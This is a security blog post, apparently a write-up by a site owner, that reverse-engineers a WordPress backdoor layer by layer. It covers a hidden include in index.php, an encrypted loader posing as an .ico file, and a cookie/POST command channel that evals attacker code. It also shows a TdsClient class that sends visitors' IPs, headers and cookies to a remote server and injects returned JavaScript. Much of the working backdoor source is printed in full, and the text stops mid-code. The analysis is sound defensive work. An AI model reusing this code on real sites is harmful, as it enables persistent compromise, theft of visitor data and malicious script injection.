(Now Go Bang!) Anatomy of a Wordpress Backdoor (2023)

Reverse engineering the command and control structure of a Wordpress attack.

Software archeology usually relates to dated programs, like the bit we did on a 1960s graphics demo for the PDP-1. However, the same skill set also applies to reverse engineering more recent bits and bytes. In this case it’s about a Wordpress attack and its command & control structure.

A bit of background: This is a about an abandoned Wordpress installation, which has become infected repeatedly by variations of a hack described here. This kind of hack is known to use “old tagDiv themes” like “Newspaper”, “Newsmag” and derivatives thereof as a vector and has the nasty habit of spreading on the host to other sites using PHP by breaking out via the “find -name” system command. (I can’t say, if the Wordpress theme in question is really a derivate of one of the tagDiv-themes, but it includes a list of enhancements, like BuddyPress, bbpress, vc_templates, and a WooCommerce e-store, which isn't used at all and probably not configured, as well as a few extra plugins.) Recently, I discovered a new variation of the backdoor code, version “2.0-1” of the command & control structure, which is described here.

(Now Go Bang!) Anatomy of a Wordpress Backdoor (1)

A Nondescript Beginning

Let’s start at the very beginning: As we enter the website, we either are redirected to the “index.php” as the common starting point of all Wordpress related page requests, or, at least, the file “wp-settings.php” will be read and processed. This is also, where we find the first clue — or ist it “glue”?

At the very top of these two files we find this bit of extra code, followed by the legitimate code:

Note: All file paths and keys are redacted to protect the innocent.

<?php/*dd28f*/@include "\057ab\163/p\141th\057to\057vi\162tu\141l-\150os\164/h\164do\143s/\167p-\151nc\154ud\145s/\146on\164s/\056f2\1427e\1443a\056ic\157";/*dd28f*/

We’ll ignore here the hex-signature in the padding comments, which may provide a key to be used by another mechanism referring to this key by use of PHP’s magic constant “__LINE__” (at least, I’ve seen this elsewhere already), and concentrate on the executable code. Obviously, this is a PHP include, which will read and execute the file located at the given path. But, what is this path? It’s provided in rather simple obfuscation, escaping every third character by its octal character code (as in “\ddd”).

It is equivalent to the human readable form:

Note: Any “@” prefixed in front of a command will suppress any warnings and errors and may be ignored in this context.

<?php/*dd28f*/@include "/abs/path/to/virtual-host/htdocs/wp-includes/fonts/.f2b7ed3a.ico";/*dd28f*/

Oh, it’s an invisible dot-file, disguising as an “*.ico” icon file in “wp-includes/fonts/”! But, actually, it’s a PHP executable. Let’s have a look (line-wrap applied):

<?php$_bzjt0n =basename/*3z*/(/*a*/trim/*qxf9r*/(/*v80*/preg_replace/*38t0g*/(/*3*/rawurldecode/*p1*/(/*t*/"%2F%5C%28.%2A%24%2F"/*eb*/)/*laiw*/, '',__FILE__/*lc*/)/*0v*//*sf*/)/*r*//*ut4y*/)/*ya*/;$_fgltk ="G%03%14L%18%06%06W%0D%40%0C%07G%7DAH%25F%09b%40RR%1C%03%27%14%28FL%2FZ...<much-more-of-this>"; eval/*8*/(/*z*/rawurldecode/*ubx8*/(/*2g*/$_fgltk/*g*/)/*nfkpm*/ ^ substr/*9*/(/*74u3*/str_repeat/*tjxyv*/(/*lw*/$_bzjt0n,/*b1*/(/*f*/strlen/*6jlv*/(/*tnqls*/$_fgltk/*we9pz*/)/*8gi7w*//strlen/*jry9*/(/*xdz*/$_bzjt0n/*ge1j*/)/*b*//*r*/)/*4k*/ + 1/*1lfm*/)/*iwa*/, 0, strlen/*r7kfj*/(/*lg*/$_fgltk/*lc*/)/*0mf4*//*1b*/)/*lsnu*//*k9*/)/*z*/;//64a223681baf2adae6b3de184294537e2j62qq6a%26pv3snn%2Fo%3D%7B%32...<much-more-of-this>

Obviously, there are two kind of payloads, namely


and the part in the trailing comment,


In actuality these two strings extend over several screen pages, each. Moreover, the code is sprangled by character groups in multi-line comments (“/*…*/”). At first, I thought these may be used as some kind of key later, but these exist merely for the sole purpose of disturbing any script trying to detect harmful or suspicious code.

However, there’s for sure something suspicious and fishy going on, mind the telltale signs of “eval”. Also, all these “%xx” strings look much like form-URL-encoded data.

Down the Rabbit Hole

So let’s follow the code, which will lead us quite a stretch down its rabbit hole…

Stage 1

Discarding the distracting comments and after a bit of deobfuscation, we arrive at the following code:

<?php$filename = basename(trim( preg_replace( // strip eval-notes from filepath rawurldecode("%2F%5C%28.%2A%24%2F"), // gives "/\(.*$/" '', __FILE__ // filename of this include ) ));// $filename: ".f2b7ed3a.ico"$payload = "G%03%14L%18%06%06W%0D%40%0C%07G%7DAH%25F%09b...";eval( rawurldecode($payload) ^ substr( str_repeat($filename, (strlen($payload)/strlen($filename)) + 1), 0, strlen($payload) ));//64a223681baf2adae6b3de184294537e2j62qq6a%26pv3snn%2Fo%3D%7B%32...

All names, comments, and formating in the blue boxes by me, N.L.

At this stage, the trailing, commented line is of no concern, so let’s have a look at the executable part:

The first construct reduces the PHP magic constant “__FILE__”, which provides the absolute filepath, to the basename of the ico-file. The “preg_replace()” construct strips any strings starting with a bracket, like the annotations (as inserted by PHP) regarding eval-uated code as in (2) : eval()'d code, from the filepath. At this point, $_bzjt0n in the original code will contain the string of the raw filename, “.f2b7ed3a.ico”.

$_fgltk (in the obfuscated code) is our payload. This will be URL-decoded and processed by a simple block cypher, XOR-ing the the payload-string with a block of equal length composed of repetitions of the raw filename. The resulting string is then evaluated (executed as PHP code).

So the cypher text is (before URL-decoding)


and the key


resulting, when bitwise XOR-ed, in the respective clear text.

Stage 2

This gives us another string, to be handled by the PHP function “eval()” as another executable:

if (!defined('stream_context_create ')){ define('stream_context_create ', 1);$yhwawxuz = 1833; function cdpzkwe($vheyihhq, $hmdsrml){$dxllxyujiq =''; for($i=0; $i < strlen($vheyihhq); $i++){$dxllxyujiq .=isset($hmdsrml[$vheyihhq[$i]]) ? $hmdsrml[$vheyihhq[$i]] :$vheyihhq[$i];} $eeazfeo="rawurl" . "decode";return$eeazfeo($dxllxyujiq);} $oevfdffr ='%Lh%L5%Lh%L5%TLrJr_vsU%f7%fNswwew_zek%fN%fb%fLQSWW%f6%aD%Lh%L5%TLrJr_vsU%f7%fNzek_swwewv%fN%f'.'b%fLL%f6%aD%Lh%L5%TLrJr_vsU%f7%fN0EB_sBs8CUreJ_Ur0s%fN%fb%fL'.'...<much-more-of-this>...'; $wcrfzugm = Array('1'=>'M', '0'=>'m','3'=>'p', '2'=>'5', '5'=>'A', '4'=>'Y', '7'=>'8', '6'=>'9', '9'=>'T','8'=>'c', 'A'=>'q', 'C'=>'u', 'B'=>'x', 'E'=>'a', 'D'=>'B', 'G'=>'d','F'=>'O', 'I'=>'X', 'H'=>'E', 'K'=>'f', 'J'=>'n', 'M'=>'1', 'L'=>'0','O'=>'P', 'N'=>'7', 'Q'=>'N', 'P'=>'b', 'S'=>'U', 'R'=>'Z', 'U'=>'t','T'=>'4', 'W'=>'L', 'V'=>'w', 'Y'=>'K', 'X'=>'R', 'Z'=>'W', 'a'=>'3','c'=>'y', 'b'=>'C', 'e'=>'o', 'd'=>'I', 'g'=>'S', 'f'=>'2', 'i'=>'Q','h'=>'D', 'k'=>'g', 'j'=>'H', 'm'=>'F', 'l'=>'h', 'o'=>'G', 'n'=>'k','q'=>'V', 'p'=>'z', 's'=>'e', 'r'=>'i', 'u'=>'v', 't'=>'j', 'w'=>'r','v'=>'s', 'y'=>'6', 'x'=>'J', 'z'=>'l');eval/*czddmow*/(cdpzkwe($oevfdffr, $wcrfzugm)); }

The first few lines are prohibiting the code from executing more than once. Mind the use of an actual PHP entity, stream_context_create, but here augmented by an extra space (which may escape the notice of any personal or script monitoring the site):

if (!defined('stream_context_create ')){ define('stream_context_create ', 1); /* ... */}

Inside this construct, we find another encryption mechanism, here deobfuscated and in pretty print:

$yhwawxuz = 1833; // some kind of ID-stamp, not used in this context // (maybe an identifyer for the generator?)function decrypt($stream, $cypher){ $out = ''; for($i=0; $i < strlen($stream); $i++){ $out .= isset($cypher[$stream[$i]]) ? $cypher[$stream[$i]] : $stream[$i]; } $func="rawurl" . "decode"; return $func($out);}// payload data$encrypted = '%Lh%L5%Lh%L5%TLrJr_vsU%f7%fNswwew_zek...';// cypher codes$cypher = Array( '1'=>'M', '0'=>'m', '3'=>'p', '2'=>'5', '5'=>'A', '4'=>'Y', '7'=>'8', '6'=>'9', '9'=>'T', '8'=>'c', 'A'=>'q', 'C'=>'u', 'B'=>'x', 'E'=>'a', 'D'=>'B', 'G'=>'d', 'F'=>'O', 'I'=>'X', 'H'=>'E', 'K'=>'f', 'J'=>'n', 'M'=>'1', 'L'=>'0', 'O'=>'P', 'N'=>'7', 'Q'=>'N', 'P'=>'b', 'S'=>'U', 'R'=>'Z', 'U'=>'t', 'T'=>'4', 'W'=>'L', 'V'=>'w', 'Y'=>'K', 'X'=>'R', 'Z'=>'W', 'a'=>'3', 'c'=>'y', 'b'=>'C', 'e'=>'o', 'd'=>'I', 'g'=>'S', 'f'=>'2', 'i'=>'Q', 'h'=>'D', 'k'=>'g', 'j'=>'H', 'm'=>'F', 'l'=>'h', 'o'=>'G', 'n'=>'k', 'q'=>'V', 'p'=>'z', 's'=>'e', 'r'=>'i', 'u'=>'v', 't'=>'j', 'w'=>'r', 'v'=>'s', 'y'=>'6', 'x'=>'J', 'z'=>'l');eval(decrypt($encrypted, $cypher));

The decrypt-function simply loops over the stream, replacing characters by a (non-linear) Caesar cypher. Notably, only those characters for which there is a corresponding cypher defined will be replaced, any others will be left as-is. It shouldn’t cause too much of wonder by now that the resulting string is — again — evaluated as a PHP executable, as indicated by the use of “eval()”.

Stage 3

So what may this third payload bring (somewhat late for Christmas, even in Russia — see below)?

@ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);if(!defined("PHP_EOL")){ define("PHP_EOL", "\n");}if(!defined("DIRECTORY_SEPARATOR")){ define("DIRECTORY_SEPARATOR", "/");}if (!defined('file_put_contents ')){ define('file_put_contents ', 1); $mjquqzn = 'a2ffg78b-f19a-1836-2def-18aa87aa1296'; global $mjquqzn; function gfofsy($ehannvd) { if (strlen($ehannvd) < 4) { return ""; } $mufgwpq = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; $pzvgea = str_split($mufgwpq); $pzvgea = array_flip($pzvgea); $lemejtq = 0; $mukcoay = ""; $ehannvd = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $ehannvd); do { $oqoljas = $pzvgea[$ehannvd[$lemejtq++]]; $yocevo = $pzvgea[$ehannvd[$lemejtq++]]; $bwvvgjrlosmde = $pzvgea[$ehannvd[$lemejtq++]]; $zmqbqnok = $pzvgea[$ehannvd[$lemejtq++]]; $ghymipozzjyt = ($oqoljas << 2) | ($yocevo >> 4); $grhmcky = (($yocevo & 15) << 4) | ($bwvvgjrlosmde >> 2); $iwroiuusdkwcen = (($bwvvgjrlosmde & 3) << 6) | $zmqbqnok; $mukcoay = $mukcoay . chr($ghymipozzjyt); if ($bwvvgjrlosmde != 64) { $mukcoay = $mukcoay . chr($grhmcky); } if ($zmqbqnok != 64) { $mukcoay = $mukcoay . chr($iwroiuusdkwcen); } } while ($lemejtq < strlen($ehannvd)); return $mukcoay; } if (!function_exists('file_put_contents')) { function file_put_contents($iwroiuu, $ghymipo, $iwroiuuwcoms = False) { $ztzlid = $iwroiuuwcoms == 8 ? 'a' : 'w'; $bwvvgjrl = @fopen($iwroiuu, $ztzlid); if ($bwvvgjrl === False) { return 0; } else { if (is_array($ghymipo)) $ghymipo = implode($ghymipo); $zfcgno = fwrite($bwvvgjrl, $ghymipo); fclose($bwvvgjrl); return $zfcgno; } } } if (!function_exists('file_get_contents')) { function file_get_contents($iwroiuumvqppg) { $mjrxvoez = fopen($iwroiuumvqppg, "r"); $hqmcuhu = fread($mjrxvoez, filesize($iwroiuumvqppg)); fclose($mjrxvoez); return $hqmcuhu; } } function gumtqqr() { return trim(preg_replace("/\(.*\$/", '', __FILE__)); } function zobcjk($pvhjtyg, $auuscmsj) { $kybezz = ""; for ($lemejtq=0; $lemejtq<strlen($pvhjtyg);) { for ($iwroiuusleqy=0; $iwroiuusleqy<strlen($auuscmsj) && $lemejtq<strlen($pvhjtyg); $iwroiuusleqy++, $lemejtq++) { $kybezz .= chr(ord($pvhjtyg[$lemejtq]) ^ ord($auuscmsj[$iwroiuusleqy])); } } return $kybezz; } function hqsynuik($pvhjtyg, $auuscmsj) { global $mjquqzn; return zobcjk(zobcjk($pvhjtyg, $auuscmsj), $mjquqzn); } function tatuqd($pvhjtyg, $auuscmsj) { global $mjquqzn; return zobcjk(zobcjk($pvhjtyg, $mjquqzn), $auuscmsj); } function cljoehwm() { $ocsxdwzp = @file_get_contents(gumtqqr()); $mvfwlud = strpos($ocsxdwzp, md5(gumtqqr())); if ($mvfwlud !== FALSE) { $rpgwshci = substr($ocsxdwzp, $mvfwlud + 32); $pkjlbbx = @unserialize(hqsynuik(rawurldecode($rpgwshci), md5(gumtqqr()))); } else { $pkjlbbx = Array(); } return $pkjlbbx; } function xvfqzdhp($pkjlbbx) { $aquudom = rawurlencode(tatuqd(@serialize($pkjlbbx), md5(gumtqqr()))); $ocsxdwzp = @file_get_contents(gumtqqr()); $mvfwlud = strpos($ocsxdwzp, md5(gumtqqr())); if ($mvfwlud !== FALSE) { $zpadktq = substr($ocsxdwzp, $mvfwlud + 32); $ocsxdwzp = str_replace($zpadktq, $aquudom, $ocsxdwzp); } else { $ocsxdwzp = $ocsxdwzp . "\n\n//" . md5(gumtqqr()) . $aquudom; } @file_put_contents(gumtqqr(), $ocsxdwzp); } function ixsfvlb($cofzezq, $prkrylws) { $pkjlbbx = cljoehwm(); $pkjlbbx[$cofzezq] = gfofsy($prkrylws); xvfqzdhp($pkjlbbx); } function giwnipts($cofzezq) { $pkjlbbx = cljoehwm(); unset($pkjlbbx[$cofzezq]); xvfqzdhp($pkjlbbx); } function ncnigq($cofzezq=NULL) { foreach (cljoehwm() as $pnhjaqvh=>$uugqoegd) { if ($cofzezq) { if (strcmp($cofzezq, $pnhjaqvh) == 0) { eval($uugqoegd); break; } } else { eval($uugqoegd); } } } foreach (array_merge($_COOKIE, $_POST) as $ghymipoebgytc => $pvhjtyg) { $pvhjtyg = @unserialize(hqsynuik(gfofsy($pvhjtyg), $ghymipoebgytc)); if (isset($pvhjtyg['ak']) && $mjquqzn==$pvhjtyg['ak']) { if ($pvhjtyg['a'] == 'i') { $lemejtq = Array( 'pv' => @phpversion(), 'sv' => '2.0-1', 'ak' => $pvhjtyg['ak'], ); echo @serialize($lemejtq); exit; } elseif ($pvhjtyg['a'] == 'e') { eval($pvhjtyg['d']); } elseif ($pvhjtyg['a'] == 'plugin') { if($pvhjtyg['sa'] == 'add') { ixsfvlb($pvhjtyg['p'], $pvhjtyg['d']); } elseif($pvhjtyg['sa'] == 'rem') { giwnipts($pvhjtyg['p']); } } echo $pvhjtyg['ak']; exit(); } } ncnigq();}

This looks much like it may be actually doing something — let’s see…

The first few lines are setting some defaults, and check a flag in order to execute this only once per request. Again, the flag is the name of a regular PHP entity extended by a trailing blank.

@ini_set('error_log', NULL); // no special error log@ini_set('log_errors', 0); // no special logging@ini_set('max_execution_time', 0); // like CLI context@error_reporting(0); // all error reporting off@set_time_limit(0); // like CLI context// end-of-line and path separatorsif(!defined("PHP_EOL")){ define("PHP_EOL", "\n");}if(!defined("DIRECTORY_SEPARATOR")){ define("DIRECTORY_SEPARATOR", "/");}// check/define flag (execute once)if (!defined('file_put_contents ')){ define('file_put_contents ', 1); /* ... */}

The inner block starts by the definition of an app-key (some UID, maybe based on the domain name). Then, basic functionality for file handling is provided: regular base64-decoding, and functions for writing and reading files as in “file_put_contents” and “file_get_contents”:

// UID$appKey = 'a2ffg78b-f19a-1836-2def-18aa87aa1296';global $appKey;// regular base64 decodingfunction _decode_base64($str) { if (strlen($str) < 4) { return ""; } $alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; $codes = str_split($alphabet); $codes = array_flip($codes); $idx = 0; $out = ""; // discard any non-base64 chars $str = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $str); do { $h1 = $codes[$str[$idx++]]; $h2 = $codes[$str[$idx++]]; $h3 = $codes[$str[$idx++]]; $h4 = $codes[$str[$idx++]]; $q1 = ($h1 << 2) | ($h2 >> 4); $q2 = (($h2 & 15) << 4) | ($h3 >> 2); $q3 = (($h3 & 3) << 6) | $h4; $out = $out . chr($q1); if ($h3 != 64) { $out = $out . chr($q2); } if ($h4 != 64) { $out = $tx . chr($q3); } } while ($idx < strlen($str)); return $out;}// assert basic file functions; define fallbacks, if missingif (!function_exists('file_put_contents')){ function file_put_contents($fpath, $contents, $append = False) { $mode = $append == 8 ? 'a' : 'w'; $fhandle = @fopen($fpath, $mode); if ($fhandle === False) { return 0; } else { if (is_array($contents)) $contents = implode($contents); $success = fwrite($fhandle, $contents); fclose($fhandle); return $success; } }}if (!function_exists('file_get_contents')){ function file_get_contents($fpath) { $fhandle = fopen($fpath, "r"); $contents = fread($fhandle, filesize($fpath)); fclose($fhandle); return $contents; }}

Then, there are a few functions for basic encryption: The first one returns the raw file path (still the ico-file), the second one is a two-ways XOR-cypher, much like we’ve seen it before, and the two last ones are for encrypting and decrypting a stream by a provided key and, in an inner XOR-cypher, by the app-key (UID).

// get own filepath (discards any eval-annotations "(...")function get_fpath(){ return trim(preg_replace("/\(.*\$/", '', __FILE__));}// xor block cypherfunction xor_block_cypher($stream, $key){ $out = ""; for ($i=0; $i<strlen($stream);) { for ($k=0; $k<strlen($key) && $i<strlen($stream); $k++, $i++) { $out .= chr(ord($stream[$i]) ^ ord($key[$k])); } } return $out;}// encrypt / decrypt a stream by a key and the app-keyfunction decrypt_by_appKey($stream, $key){ global $appKey; return xor_block_cypher( xor_block_cypher($stream, $key), $appKey );}function encrypt_by_appKey($stream, $key){ global $appKey; return xor_block_cypher( xor_block_cypher($stream, $appKey), $key );}

At this point, we’ve everything in place for decoding base64-encoded data, reading and writing files and a basic encryption scheme based on bitwise XOR.

Then there are some functions for managing a basic database. This database is actually appended to the ico-file (that’s what the trailing line of comments is for!).

/** database * data is appended to the original ico-file after the md5-hash * of the filepath. payload/data starts at 32 characters after * the strpos of this marker as an encrypted stream of serialized * key-value pairs*/function read_data(){ $contents = @file_get_contents(get_fpath()); $mark = strpos($contents, md5(get_fpath())); if ($mark !== FALSE) { $chunk = substr($contents, $mark + 32); $data = @unserialize( decrypt_by_appKey(rawurldecode($chunk), md5(get_fpath())) ); } else { $data = Array(); } return $data;}function write_data($data){ $encrypted = rawurlencode( encrypt_by_appKey(@serialize($data), md5(get_fpath())) ); $contents = @file_get_contents(get_fpath()); $mark = strpos($contents, md5(get_fpath())); if ($mark !== FALSE) { $chunk = substr($contents, $mark + 32); $contents = str_replace($zpadktq, $chunk, $contents); } else { $contents = $contents . "\n\n//" . md5(get_fpath()) . $encrypted; } @file_put_contents(get_fpath(), $contents);}function update_data($key, $value){ $data = read_data(); $data[$key] = _decode_base64($value); write_data($data);}function delete_from_data($key){ $data = read_data(); unset($data[$key]); write_data($data);}

So there is an encrypted database, contained in the PHP-executable itself. It has methods to update/write data per hash-key and to delete it again. This database contains in turn executable code, as can be deferred by the following function, which is also next in this executable:

// execute all value-strings in data object// optionally execute just a single task matching the provided keyfunction execute_data($singleKey=NULL){ // loop over keys foreach (read_data() as $key=>$value) { // check if there is an optional key // if so and it does match, execute just this one and exit if ($singleKey) { if (strcmp($singleKey, $key) == 0) { eval($value); break; } } else // execute the stored value { eval($value); } }}

Now we’ve all the functions in place to manage and run executables from a database, included in the very same stand-alone file in the form of an encrypted key-value store. What’s still missing, is some kind of frontend for this database, the actual command & control utility. And here it is, the public facing frontend, making use of all those functions we’ve just defined:

// main, payload parsing: loop over cookie and/or POST-bodyforeach (array_merge($_COOKIE, $_POST) as $key => $dat){ // deserialize the encrypted string to a data object $dat = @unserialize(decrypt_by_appKey(_decode_base64($dat), $key)); // if data contains an app-key "ak" equivalent to own app-key if (isset($dat['ak']) && $appKey==$dat['ak']) { // if there is a key "i" return info if ($dat['a'] == 'i') { $info = Array( 'pv' => @phpversion(), 'sv' => '2.0-1', 'ak' => $dat['ak'], ); echo @serialize($info); exit; } // "e": eval code from data-object, key as in "d" elseif ($dat['a'] == 'e') { eval($dat['d']); } // "plugin": update/delete data-object as specified in "sa" elseif ($dat['a'] == 'plugin') { // add/update property as in "p" and value as in "d" if($dat['sa'] == 'add') { update_data($dat['p'], $dat['d']); } // delete property as in "p" elseif($dat['sa'] == 'rem') { delete_from_data($dat['p']); } } // return the app-key echo $dat['ak']; exit(); }}// finally, if no matching app-key is provided,// run any stored tasks on each page requestexecute_data();

To sum this up, each page request will invoke this frontend, either for managing (in case there’s a matching app-key provided) or for running the stored procedures.

Commands are provided in the cookie string in the request header and/or in the POST-body of a POST request. These commands are provided in encrypted form, an outer bitwise XOR with the key of the command and inner XOR wirth the app-key.

Command parameters are:

  • ak....... the app-key (must match).
  • i........ info (PHP-version, app-verison [2.0-1], app-key).
  • e........ immediately “eval()” the data provided in paramter “d”.
  • plugin... add/update/delete a procedure according to param “sa”:
    • sa = add”: add or update a procedure with key in parameter “p” and body as in “d”.
    • sa = rem”: add a procedure with key in parameter “p”.

Stage 4

However, don’t despair, this is not the end of the fun. We’re not at the end of this, not even near. There’s still the database left. Now that we know how to access it, we may have a look at it.

Invoking the basic encryption, we find a single entry for key “tds” (line-wrapped):

$zetnp = 2451; function farlainoci($cyvufd, $quuabk){$udcidr = '';for($i=0; $i < strlen($cyvufd); $i++){$udcidr .=isset($quuabk[$cyvufd[$i]]) ? $quuabk[$cyvufd[$i]] : $cyvufd[$i];}$dxcjtbv="rawurl" . "decode";return $dxcjtbv($udcidr);} $rvrwailh ='%F9%F7%F9%F7Ts%YF%YD%Y3P0sTZ0P%YD%Y5sTJ0_60M_xdZM0ZMR%YF%Y5%Yi%Yi%F9%F7%5r%F9%F'.'7%YF%YF%YF%YFP0sTZ0%YD%Y5sTJ0_60M_xdZM0ZMR%YF%Y5%Yj%YF3%Yi%2'.'...<much-more-of-this>...'. ''; $zpcbekmo = Array('1'=>'h', '0'=>'e','3'=>'1', '2'=>'3', '5'=>'7', '4'=>'v', '7'=>'A', '6'=>'g', '9'=>'D','8'=>'F', 'A'=>'S', 'C'=>'W', 'B'=>'w', 'E'=>'G', 'D'=>'8', 'G'=>'P','F'=>'0', 'I'=>'Y', 'H'=>'I', 'K'=>'N', 'J'=>'l', 'M'=>'t', 'L'=>'V','O'=>'z', 'N'=>'j', 'Q'=>'H', 'P'=>'d', 'S'=>'Z', 'R'=>'s', 'U'=>'E','T'=>'i', 'W'=>'K', 'V'=>'R', 'Y'=>'2', 'X'=>'M', 'Z'=>'n', 'a'=>'6','c'=>'p', 'b'=>'5', 'e'=>'Q', 'd'=>'o', 'g'=>'x', 'f'=>'r', 'i'=>'9','h'=>'X', 'k'=>'O', 'j'=>'C', 'm'=>'a', 'l'=>'4', 'o'=>'U', 'n'=>'J','q'=>'m', 'p'=>'y', 's'=>'f', 'r'=>'B', 'u'=>'L', 't'=>'q', 'w'=>'b','v'=>'T', 'y'=>'u', 'x'=>'c', 'z'=>'k');eval/*lujtryq*/(farlainoci($rvrwailh, $zpcbekmo));

This uses the same Caesar cypher encryption scheme as we’ve seen it already, but this time using a different set of replacement codes. (Also, there’s another ID-stamp, which is — again — not used in this context.)

$zetnp = 2451; // ID-stamp, not used/* ... */$cypher = Array( '1'=>'h', '0'=>'e', '3'=>'1', '2'=>'3', '5'=>'7', '4'=>'v', '7'=>'A', '6'=>'g', '9'=>'D', '8'=>'F', 'A'=>'S', 'C'=>'W', 'B'=>'w', 'E'=>'G', 'D'=>'8', 'G'=>'P', 'F'=>'0', 'I'=>'Y', 'H'=>'I', 'K'=>'N', 'J'=>'l', 'M'=>'t', 'L'=>'V', 'O'=>'z', 'N'=>'j', 'Q'=>'H', 'P'=>'d', 'S'=>'Z', 'R'=>'s', 'U'=>'E', 'T'=>'i', 'W'=>'K', 'V'=>'R', 'Y'=>'2', 'X'=>'M', 'Z'=>'n', 'a'=>'6', 'c'=>'p', 'b'=>'5', 'e'=>'Q', 'd'=>'o', 'g'=>'x', 'f'=>'r', 'i'=>'9', 'h'=>'X', 'k'=>'O', 'j'=>'C', 'm'=>'a', 'l'=>'4', 'o'=>'U', 'n'=>'J', 'q'=>'m', 'p'=>'y', 's'=>'f', 'r'=>'B', 'u'=>'L', 't'=>'q', 'w'=>'b', 'v'=>'T', 'y'=>'u', 'x'=>'c', 'z'=>'k');eval(decode($encrypted, $codes));

Stage 5

This one expands to another executable (we’re still running the ico-file), which is, supprisingly lacking any obfuscation:

if (!defined('file_get_contents ')){ define('file_get_contents ', 1); class TdsClient { private $config; private $config_dict; public function __construct($config, $uid) { $this->config = $config; $this->uid = $uid; } private function _get_config() { if (empty($this->config_dict)) { $this->config_dict = @unserialize($this->_decrypt(TdsClient::b64d($this->config), "bgyrtab5xch2czg")); } return $this->config_dict; } private function _http_query_curl($url, $content) { if (!function_exists('curl_version')) { return ""; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($ch, CURLOPT_TIMEOUT, 5); if (!empty($content)) { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $content); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); $server_output = curl_exec($ch); curl_close($ch); return $server_output; } private function _http_query_native($url, $content) { $context = Array('http' => Array( 'method' => 'GET', 'timeout' => 5, 'ignore_errors' => true)); if (!empty($content)) { $context['http']['method'] = 'POST'; $context['http']['header'] = 'Content-type: application/x-www-form-urlencoded'; $context['http']['content'] = $content; $context['http']['timeout'] = 5; } $context = stream_context_create($context); return @file_get_contents($url, FALSE, $context); } private function _http_query($url, $query) { $url = str_replace("[URL]", "", $url); $content = $this->_http_query_curl($url, $query); if (!$content) { $content = $this->_http_query_native($url, $query); } return $content; } private function _get_request_ip() { $ip_keys = array('REMOTE_ADDR', ); foreach ($ip_keys as $key) { if (array_key_exists($key, $_SERVER) === TRUE) { foreach (explode(',', $_SERVER[$key]) as $ip) { $ip = trim($ip); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== FALSE) { return $ip; } } } } return ""; } private function _query() { $tds_config = $this->_get_config(); $ip = $tds_config["tds_ip"]; $port = $tds_config["tds_port"]; $path = $tds_config["tds_path"]; $route = "yor8afx3"; if (!empty($tds_config["route"])) { $route = $tds_config["route"]; } $query = Array(); $query['i'] = $this->_get_request_ip(); $query['p'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI']; $query['u'] = @$_SERVER['HTTP_USER_AGENT']; $query['a'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE']; $query['r'] = @$_SERVER['HTTP_REFERER']; $query['ae'] = @$_SERVER['HTTP_ACCEPT_ENCODING']; $query['aa'] = @$_SERVER['HTTP_ACCEPT']; $query['ac'] = @$_SERVER['HTTP_ACCEPT_CHARSET']; $query['c'] = @$_SERVER['HTTP_CONNECTION']; $query['co'] = @serialize(@$_COOKIE); $query['cp'] = serialize(Array("a"=>$route, "uid"=>$this->uid)); $query = http_build_query($query); $url = "http://" . $ip . ":" . $port . $path; return $this->_http_query($url, $query); } public function process_request() { $content = @unserialize($this->_query()); if (isset($content["options"])) { foreach ($content["cookies"] as $key => $value_and_ttl) { @setcookie($key, $value_and_ttl[0], time() + $value_and_ttl[0], "/", $_SERVER['HTTP_HOST']); } if (isset($content["options"]["type"]) && $content["options"]["type"]=="inject") { $GLOBALS['injectable_js_code'] = TdsClient::b64d($content["data"]); ob_start("TdsClient::postrender_handler"); } else { foreach ($content["headers"] as $key => $value) { @header("$key: $value"); } if (strlen($content["data"]) != 0) { exit(TdsClient::b64d($content["data"])); # TODO: check if its file } } } } public function try_process_check_request() { foreach (array_merge($_COOKIE, $_POST) as $data_key => $data) { $data = @unserialize($this->_decrypt(TdsClient::b64d($data), $data_key)); if (isset($data['ak']) && $this->uid==$data['ak']) { if ($data['sa'] == 'check') { return TRUE; } } } return FALSE; } public function can_process_request() { $tds_config = $this->_get_config(); eval("function is_acceptable_tds_request(){\n" . $tds_config["tds_filter"] . "\n}"); if (function_exists("is_acceptable_tds_request")) { if (!is_acceptable_tds_request()) { return FALSE; } } return TRUE; } static public function postrender_handler($buffer) { // prepare page content $content = $buffer; $js_code = $GLOBALS['injectable_js_code']; if (strpos(strtolower($content), "</head>") !== FALSE) { $content = str_replace("</head>", $js_code . "\n" . "</head>", $content); } elseif (strpos(strtolower($content), "</body>") !== FALSE) { $content = str_replace("</body>", $js_code . "\n" . "</body>", $content); } return $content; } private function _decrypt_phase($data, $key) { $out_data = ""; for ($i = 0; $i < strlen($data);) { for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) { $out_data .= chr(ord($data[$i]) ^ ord($key[$j])); } } return $out_data; } private function _decrypt($data, $key) { return $this->_decrypt_phase($this->_decrypt_phase($data, $key), $this->uid); } static public function b64d($input) { if (strlen($input) < 4) { return ""; } $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; $keys = str_split($keyStr); $keys = array_flip($keys); $i = 0; $output = ""; $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input); do { $enc1 = $keys[$input[$i++]]; $enc2 = $keys[$input[$i++]]; $enc3 = $keys[$input[$i++]]; $enc4 = $keys[$input[$i++]]; $chr1 = ($enc1 << 2) | ($enc2 >> 4); $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2); $chr3 = (($enc3 & 3) << 6) | $enc4; $output = $output . chr($chr1); if ($enc3 != 64) { $output = $output . chr($chr2); } if ($enc4 != 64) { $output = $output . chr($chr3); } } while ($i < strlen($input)); return $output; } } $uid = 